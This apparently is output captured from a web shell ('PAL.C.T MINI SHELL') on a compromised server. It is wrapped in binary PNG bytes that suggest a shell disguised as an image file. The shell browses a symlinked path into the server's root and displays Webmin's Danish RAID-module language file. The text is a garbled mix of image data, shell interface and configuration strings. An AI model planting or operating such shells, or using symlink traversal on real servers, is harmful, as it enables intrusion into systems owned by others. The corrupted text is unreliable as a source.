php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/raid/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/raid/lang/da.auto

index_title=Linux RAID
index_none=Ingen RAID-enheder er konfigureret.
index_add=Opret RAID-enhed på niveau:
index_return=RAID-enheder
index_emdstat=Kernen RAID-statusfil $1 findes ikke på dit system. Din kerne understøtter sandsynligvis ikke RAID.
index_eprogs=Hverken RAID-værktøjerne eller MDADM-pakkerne er installeret på dit system.
index_mdadm=Brug af MDADM version $1 
index_raidtools=Brug af RaidTools
index_name=Enhedsnavn
index_active=Aktiv?
index_errors=fejl
index_status=status
index_level=RAID-niveau
index_size=Brugbar størrelse
index_members=Medlem disk enheder
index_header=RAID-meddelelsesindstillinger for problemer
index_mailaddr=Send beskeder til
index_mailaddrnone=Send ikke
index_mailfrom=Fra adresse til underretninger
index_mailfromnone=Standard (<tt>rod</tt>)
index_program=Kommando, der skal køres, når der opdages problemer
index_programnone=Kør ikke nogen
index_monitor=Overvågning aktiveret?

linear=Lineær (sammenkoblet)
raid0=RAID0 (stribet)
raid1=RAID1 (spejlet)
raid4=RAID4 (dedikeret paritet)
raid5=RAID5 (Distribueret paritet)
raid6=RAID6 (Dual Distribueret Paritet)
raid10=RAID10 (stribet og spejlet)
blocks=blokke

create_title=Opret RAID-enhed
create_header=RAID-enhedsindstillinger
create_device=Enhedsfil
create_level=RAID-niveau
create_disks=Partitioner i RAID
create_spares=Reservedele
create_pdisk=Paritetspartition
create_missing=Inkluderer aktuelt manglende disk?
create_pauto=Automatisk
create_nodisks=Der er ingen gratis partitioner til rådighed for RAID.
create_super=Vedvarende superblok?
create_parity=Layout
create_chunk=Stykke størrelse
create_force=Tvinge initialisering af RAID?
create_assume=Springe initialisering af enheder over?
create_rdev=RAID-enhed $1 
create_lvm=LVM VG $1, LV $2 
create_err=Kunne ikke oprette RAID
create_edisks=Ingen partitioner valgt
create_edisks2=Der skal vælges mindst 2 partitioner til spejling
create_espare=Reservepartition $1 kan ikke også være en RAID-partition
create_epdisk=Paritetspartition kan ikke også være en RAID-partition
create_group=Medlem af reservegruppe
create_nogroup=Ingen (kun bruge egne reservedele)
create_oldgroup=Eksisterende gruppe
create_newgroup=Ny gruppe
create_enewgroup=Manglende eller ikke-alfanumerisk reservegruppenavn
create_n2_layout=2 i nærheden af kopier
create_f2_layout=2 Far kopier
create_o2_layout=2 Offsetkopier
create_n3_layout=3 Nær kopier
create_f3_layout=3 Far kopier
create_o3_layout=3 Offsetkopier

view_title=RAID-enhed
view_header=RAID-enhedsindstillinger
view_device=Enhedsfil
view_uuid=UUID
view_level=RAID-niveau
view_status=Filsystemstatus
view_errors=RAID-fejl
view_bad=$1 diske mislykkedes
view_mounted=Monteret på $1 
view_mount=Til montering på $1 
view_lvm=Brugt i LVM VG $1 
view_iscsi=Brugt af iSCSI delt enhed $1 
view_active=Aktiv, men ikke monteret
view_inactive=Inaktiv og ikke monteret
view_super=Vedvarende superblok?
view_parity=Layout
view_chunk=Stykke størrelse
view_stop=Deaktiver
view_stopdesc=Klik på denne knap for at lukke RAID-enheden, så den ikke længere kan nås.
view_start=Aktiver
view_startdesc=Klik på denne knap for at aktivere denne RAID-enhed igen.
view_disks=Partitioner i RAID
view_spares=Reservedele
view_size=Brugbar størrelse
view_resync=Procent af resync udført
view_delayed=Venter på en anden enhed
view_down=(Ned)
view_cannot=Denne RAID-enhed kan ikke ændres, da den i øjeblikket er monteret.
view_cannot2=Denne RAID-enhed kan ikke monteres, deaktiveres, slettes eller omformateres, da den i øjeblikket er aktiv.
view_mkfs2=Opret filsystem af typen:
view_mkfsdesc=Vælg en filsystemtype, og klik på denne knap for at oprette et nyt filsystem på denne logiske lydstyrke. Dette vil slette alle data, der i øjeblikket er på lydstyrken.
view_add=Tilføj partition:
view_adddesc=Vælg en ikke-brugt partition, og klik på denne knap for at tilføje den til RAID-enheden.
view_delete=Slet RAID-matrix
view_deletedesc=Klik på denne knap for at fjerne denne RAID-enhed fuldstændigt. Alle data, den indeholder, vil næsten helt sikkert gå tabt!
view_remove=Fjern partition:
view_removedesc=Vælg en partition, der er en del af RAID-enheden, og klik på denne knap for at fjerne den. Dette kan medføre, at data går tabt!
view_remove_det=Fjern adskilt
view_remove_detdesc=Fjern partitioner, der allerede er fysisk adskilt fra systemet.
view_replace=Erstat partition:
view_replacedesc=Vælg en partition, der skal udskiftes. (Hot Replace)
view_grow=Grow RAID:
view_growdesc=Grow array (konverter varme reservedele til aktive medlemmer)
view_convert_to_raid6=Konverter til RAID6
view_convert_to_raid6desc=Konverter RAID-niveau til RAID6 ved at tilføje et eller flere drev.
view_convert_to_raid5=Konverter til RAID5
view_convert_to_raid5desc=Konverter RAID-niveau til RAID5 ved at fjerne et drev.
view_state=RAID-status
view_rebuild=Genopbygning af fremskridt
view_newmount=Monter RAID på:
view_newmount2=Monter RAID som virtuel hukommelse
view_mountmsg=Gå ind i et bibliotek, og klik på denne knap for at gå til en formular til montering af RAID-enheden, som allerede skal indeholde et filsystem.
view_mountmsg2=Klik på denne knap for at bruge denne RAID-enhed til virtuel hukommelse på dit system.
view_blocks=$1 blokke
view_sparegroup=Reserve gruppe

mkfs_title=Opret filsystem
mkfs_header2=Denne formular giver dig mulighed for at opbygge et nyt $2 -filsystem på $1. <b>Alle</b> eksisterende data slettes!
mkfs_options=Nye Linux-filsystemindstillinger
mkfs_err=Kunne ikke oprette filsystem
mkfs_exec=Udfører kommando $1 ..
mkfs_failed=.. kommandoen mislykkedes!
mkfs_ok=.. kommandoen fuldført.

emkraid=<tt>mkraid</tt> mislykkedes : $1 
eraidstop=<tt>raidstop</tt> mislykkedes : $1 
eraidstart=<tt>raidstart</tt> mislykkedes : $1 
eforce=Du skal tvinge initialiseringen af denne RAID : $1 
emdadmstop=<tt>mdadm</tt> in <tt>--stop</tt> mode failed : $1
emdadmcreate=<tt>mdadm</tt> in <tt>--create</tt> mode failed : $1
emdadmadd=<tt>mdadm</tt> in <tt>--manage --add</tt> mode failed : $1
emdadmgrow=<tt>mdadm</tt> in <tt>--grow</tt> mode failed : $1
emdadmremove=<tt>mdadm</tt> in <tt>--manage --remove</tt> mode failed : $1
emdadmreplace=<tt>mdadm</tt> in <tt>--manage --replace</tt> mode failed : $1
emdadmfail=<tt>mdadm</tt> in <tt>--manage --fail</tt> mode failed : $1

log_create=Oprettet $1 RAID-enhed $2 
log_stop=Deaktiveret RAID-enhed $1 
log_start=Aktiveret RAID-enhed $1 
log_delete=Slettet RAID-enhed $1 
log_mkfs=Oprettet $1 filsystem på $2 
log_add=Føjet partition $2 til RAID-enhed $1 
log_remove=Fjernet partition $2 fra RAID-enhed $1 
log_replace=Hot erstattet partition $2 i RAID-enhed $1 med reservepartition $3 
log_grow=Dyrkede RAID-enhed $1 til i alt $2 diske
log_convert_to_raid6=Konverterede RAID5-enhed $1 til en RAID6-enhed
log_convert_to_raid5=Konverterede RAID6-enhed $1 til en RAID5-enhed
log_notif=Opdaterede RAID-problemmeddelelsesindstillinger

notif_err=Kunne ikke gemme RAID-meddelelsesindstillinger for problemer
notif_emailaddr=Manglende eller ugyldig anmeldelse adresse
notif_emailfrom=Manglende eller ugyldig Fra adresse
notif_eprogram=Manglende eller ikke-eksisterende program at køre

delete_title=Slet RAID Array
delete_rusure=Er du sikker på, at du vil slette RAID-array $1, der bruger $2 af diskplads?
delete_ok=Ja, slet det
delete_eidx=Ingen RAID-matrix valgt!

remove_title=Fjern partition fra RAID Array
remove_rusure=Er du sikker på, at du vil fjerne partition $2 af RAID-matrix $1 ?
remove_ok=Ja, fjern det
remove_eidx=Ingen RAID-matrix valgt!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`